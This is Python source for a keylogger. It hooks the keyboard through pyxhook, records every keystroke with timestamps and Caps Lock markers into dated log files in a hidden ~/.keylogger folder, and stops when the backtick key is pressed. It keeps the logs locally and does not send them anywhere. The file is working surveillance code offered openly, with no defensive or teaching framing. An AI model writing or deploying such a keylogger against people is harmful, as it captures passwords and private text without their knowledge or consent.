Python keylogger

import pyxhook
import os
from subprocess import call
from time import *

#checks if program is starting up for first time
startup = 1
#home folder of user
homefolder = os.environ['HOME']

#path where logs are stored
filepath = homefolder + '/.keylogger/'

#creates log folder if it doesn't exist yet
if os.path.isdir(filepath) == False:
    call(['mkdir', filepath])

#file to put logs
#has timestamp which also creates a new file the next day
log_file = filepath + strftime("%d:%m:%Y") + '.log'

#used to see if caps is on so we can put a <CAPS> and </CAPS> tag
caps = 0

def OnKeyPress(event):

  fob=open(log_file, 'a')

  global caps
  global startup

  #checks if startup
  if startup == 1:
    fob.write('\nNEW SESSION AT ' + strftime("%H:%M:%S: "))
    startup = 0

  #Newline if enter is pushed
  if event.Key == 'Return':
    fob.write('\n')
    fob.write(strftime("%H:%M:%S: "))

  #I'm sorry for this blatant DRY (Don't repeat yourself) violation
  #Makes exceptions for special characters
  elif event.Key == 'space':
    fob.write(' ')

  elif event.Key == 'Control_L' or event.Key == 'Control_R' or event.Key == 'Alt_L' or event.Key == 'Alt_R' or event.Key == 'Shift_L' or event.Key == 'Shift_R':
    fob.write(' ' + event.Key + ' ')

  elif event.Key == 'Caps_Lock':

    if caps == 0:
        fob.write(' <CAPS> ')
        caps = 1

    else:
        fob.write(' </CAPS> ')
        caps = 0

  elif event.Key == 'exclam':
    fob.write('!')

  elif event.Key == 'BackSpace':
    fob.write('')

  elif event.Key == 'at':
    fob.write('@')

  elif event.Key == 'numbersign':
    fob.write('#')

  elif event.Key == 'dollar':
    fob.write('$')

  elif event.Key == 'percent':
    fob.write('%')

  elif event.Key == 'asciicircum':
    fob.write('^')

  elif event.Key == 'ampersand':
    fob.write('&')

  elif event.Key == 'asterisk':
    fob.write('*')

  elif event.Key == 'parenleft':
    fob.write('(')

  elif event.Key == 'parenright':
    fob.write(')')

  elif event.Key == 'underscore':
    fob.write('_')

  elif event.Key == 'minus':
    fob.write('-')

  elif event.Key == 'equal':
    fob.write('=')

  elif event.Key == 'plus':
    fob.write('+')

  elif event.Key == 'backslash':
    fob.write('\\')

  elif event.Key == 'bar':
    fob.write('|')

  elif event.Key == 'bracketright':
    fob.write(']')

  elif event.Key == 'bracketleft':
    fob.write('[')

  elif event.Key == 'braceright':
    fob.write('}')

  elif event.Key == 'braceleft':
    fob.write('{')

  elif event.Key == 'apostrophe':
    fob.write('\'')

  elif event.Key == 'quotedbl':
    fob.write('"')

  elif event.Key == 'semicolon':
    fob.write(';')

  elif event.Key == 'colon':
    fob.write(':')

  elif event.Key == 'slash':
    fob.write('/')

  elif event.Key == 'question':
    fob.write('?')

  elif event.Key == 'period':
    fob.write('.')

  elif event.Key == 'greater':
    fob.write('>')

  elif event.Key == 'comma':
    fob.write(',')

  elif event.Key == 'less':
    fob.write('<')

  elif event.Key == 'asciitilede':
    fob.write('~')

  else:
    fob.write(event.Key)

  #96 is this character: `
  if event.Ascii==96:
    fob.write('\n')
    fob.close()
    new_hook.cancel()

#prepares hook
new_hook=pyxhook.HookManager()
new_hook.KeyDown=OnKeyPress
new_hook.HookKeyboard()
new_hook.start()